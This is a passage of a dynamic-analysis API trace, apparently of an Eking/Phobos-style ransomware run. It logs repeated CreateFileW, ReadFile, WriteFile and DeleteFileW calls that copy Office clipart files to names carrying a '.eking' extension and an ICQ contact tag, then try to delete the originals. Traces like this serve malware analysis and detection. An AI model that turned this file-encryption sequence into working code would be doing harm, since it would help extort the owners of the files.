office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.097] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.097] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0267.097] ReadFile (in: hFile=0x3ac, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xed4, lpOverlapped=0x0) returned 1 [0267.099] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xee0, lpOverlapped=0x0) returned 1 [0267.100] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.100] CloseHandle (hObject=0x3ac) returned 1 [0267.101] CloseHandle (hObject=0x3a8) returned 1 [0267.101] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0 [0267.101] SetEvent (hEvent=0x2b8) returned 1 [0267.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0267.102] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2436) returned 1 [0267.102] CloseHandle (hObject=0x3a8) returned 1 [0267.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0267.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0267.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0267.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.103] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0267.104] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x984, lpOverlapped=0x0) returned 1 [0267.107] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x990, lpOverlapped=0x0) returned 1 [0267.109] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.109] CloseHandle (hObject=0x3a8) returned 1 [0267.109] CloseHandle (hObject=0x3ac) returned 1 [0267.109] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0 [0267.109] SetEvent (hEvent=0x2b8) returned 1 [0267.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.110] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2732) returned 1 [0267.110] CloseHandle (hObject=0x3ac) returned 1 [0267.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0267.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220 [0267.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.111] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.111] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a8 [0267.112] ReadFile (in: hFile=0x3ac, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xaac, lpOverlapped=0x0) returned 1 [0267.114] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xab0, lpOverlapped=0x0) returned 1 [0267.116] WriteFile (in: hFile=0x3a8, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.116] CloseHandle (hObject=0x3ac) returned 1 [0267.116] CloseHandle (hObject=0x3a8) returned 1 [0267.116] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0 [0267.116] SetEvent (hEvent=0x2b8) returned 1 [0267.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0267.118] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7176) returned 1 [0267.119] CloseHandle (hObject=0x3a8) returned 1 [0267.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0267.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220 [0267.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0267.120] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.120] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.120] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0267.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1c08, lpOverlapped=0x0) returned 1 [0267.126] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1c10, lpOverlapped=0x0) returned 1 [0267.127] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.127] CloseHandle (hObject=0x3a8) returned 1 [0267.127] CloseHandle (hObject=0x3ac) returned 1 [0267.128] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0 [0267.128] SetEvent (hEvent=0x2b8) returned 1 [0267.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0267.133] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3494) returned 1 [0267.133] CloseHandle (hObject=0x364) returned 1 [0267.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0267.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0267.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0267.134] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.135] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x380 [0267.136] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xda6, lpOverlapped=0x0) returned 1 [0267.464] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xdb0, lpOverlapped=0x0) returned 1 [0267.466] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.466] CloseHandle (hObject=0x364) returned 1 [0267.466] CloseHandle (hObject=0x380) returned 1 [0267.467] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0 [0267.467] SetEvent (hEvent=0x2b8) returned 1 [0267.468] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0267.470] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3948) returned 1 [0267.470] CloseHandle (hObject=0x380) returned 1 [0267.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0267.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220 [0267.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0267.472] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.472] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.473] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x364 [0267.474] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xf6c, lpOverlapped=0x0) returned 1 [0267.480] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf70, lpOverlapped=0x0) returned 1 [0267.482] WriteFile (in: hFile=0x364, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.482] CloseHandle (hObject=0x380) returned 1 [0267.482] CloseHandle (hObject=0x364) returned 1 [0267.482] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0 [0267.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0267.646] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4236) returned 1 [0267.646] CloseHandle (hObject=0x368) returned 1 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0267.646] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0267.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.647] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0267.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3ac [0267.648] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x108c, lpOverlapped=0x0) returned 1 [0267.653] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1090, lpOverlapped=0x0) returned 1 [0267.667] WriteFile (in: hFile=0x3ac, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0267.667] CloseHandle (hObject=0x368) returned 1 [0267.667] CloseHandle (hObject=0x3ac) returned 1 [0267.667] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0 [0267.668] SetEvent (hEvent=0x2b8) returned 1 [0267.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0267.977] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9322) returned 1 [0267.977] CloseHandle (hObject=0x3ac) returned 1 [0267.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0267.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0267.977] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0267.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 